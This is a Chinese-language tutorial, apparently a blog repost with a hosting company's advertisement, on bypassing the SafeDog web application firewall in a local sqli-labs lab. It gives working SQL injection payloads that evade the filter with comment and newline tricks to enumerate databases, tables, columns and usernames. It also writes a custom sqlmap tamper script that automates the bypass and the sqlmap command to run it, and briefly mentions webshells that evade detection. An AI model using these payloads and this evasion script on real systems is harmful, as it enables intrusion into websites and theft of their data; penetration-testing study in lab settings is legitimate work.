这篇文章将为大家详细讲解有关如何编写sqlmap tamper脚本，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。
创新互联是一家集网站建设,玉山企业网站建设,玉山品牌网站建设,网站定制,玉山网站建设报价,网络营销,网络优化,玉山网站推广为一体的创新建站企业，帮助传统企业提升企业形象加强企业竞争力。可充分满足这一群体相比中小企业更为丰富、高端、多元的互联网需求。同时我们时刻保持专业、时尚、前沿，时刻以成就客户成长自我，坚持不断学习、思考、沉淀、净化自己，让我们为更多的企业打造出实用型网站。
安全狗官网：http://free.safedog.cn/install_desc_website.html
环境：Windows7+phpstudy+sqli-labs+安全狗v4.0
安装的时候最后让填系统服务，cd到phpstudy的apache2/bin目录，cmd执行：
httpd.exe -k install -n apache
然后服务名填写apache就行了
去github下载sqli-labs，修改sqli-labs/sql-connections/db-creds.inc为自己环境的数据库用户名和密码，然后切换phpstudy的php版本为5.2(sqli-labs需要php版本<5.5)，修改php.ini：
magic_quotes_gpc = Off
准备工作完成
1.注入判断
下面payload拦截：
-1'||1='1
下面payload不拦截：
-1'||-1='-1 -1'/*!14400or*/1=1%23
=替换成>、<、like、regexp同样可以绕过
2.查询字段数
利用换行符+注释绕：
1'/**/order/*/%0a*a*/by/**/3%23
3.联合查询
同样利用换行符+注释绕，因为当union与select同时用的时候它才进行拦截：
-1'union/*/%0a*a*/select/**/1,2,3%23
4.查询所有数据库名：
-1'union/*/%0a*a*/select/**/1,2,(select/**/group_concat(schema_name)from/**/information_schema.schemata)%23
查询当前数据库的表名时用到了database()，直接用的话会被拦截，这里用内联注释符将函数特征打乱：
-1'union/*/%0a*a*/select/**/1,2,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=DatabaSe/*!(*/))%23
查询users表的字段名：
-1'union/*/%0a*a*/select/**/1,2,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='users')%23
查数据：
-1'union/*/%0a*a*/select/**/1,2,(select/**/group_concat(username)from/**/users)%23
直接使用sqlmap，它可以识别出安全狗waf、以及可以通过布尔盲注的方法跑数据(需要--random-agent参数)：
使用sqlmap的--list-tampers选项查看sqlmap自带的tamper脚本：
这些tamper脚本位于sqlmap-master/tamper/下，以lowercase.py为例，分析tamper脚本如何编写：
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re # 用于正则匹配
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 定义优先级，此处是‘一般’
def dependencies():
pass
def tamper(payload, **kwargs): # 定义tamper脚本
# tamper说明
"""
Replaces each keyword character with lower case value (e.g. SELECT -> select)
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
>>> tamper('INSERT')
'insert'
"""
retVal = payload # 将基本payload赋值给retVal，做中间转换
if payload:
for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): # 查找字母
word = match.group() # 将查找到的值赋值给word
if word.upper() in kb.keywords: # 查找到的值是关键字
retVal = retVal.replace(word, word.lower()) # 将关键字全部替换为小写
return retVal # 返回替换后的值那么复制上面的一份，改名为safedog.py，更改tamper()函数，自己编写进行关键字的替换：
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')
retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')
retVal = retVal.replace('USER()', 'usEr/*!(*/)')
retVal = retVal.replace(' ', '/**/')
retVal = retVal.replace('OR', '/*!14400Or*/')
retVal = retVal.replace('AND', '/*!14400aNd*/')
return retVal再次测试：
./sqlmap.py -u 'http://10.211.55.5/sqli-labs/Less-1/?id=1' --flush-session --tamper=safedog --random-agent
这下便可以用sqlmap进行UNION注入了
普通一句话直接被拦截：
随便一个过D盾的马：
直接进行命令执行，也是能过狗的：
首先准备一个文件上传demo
upload.html：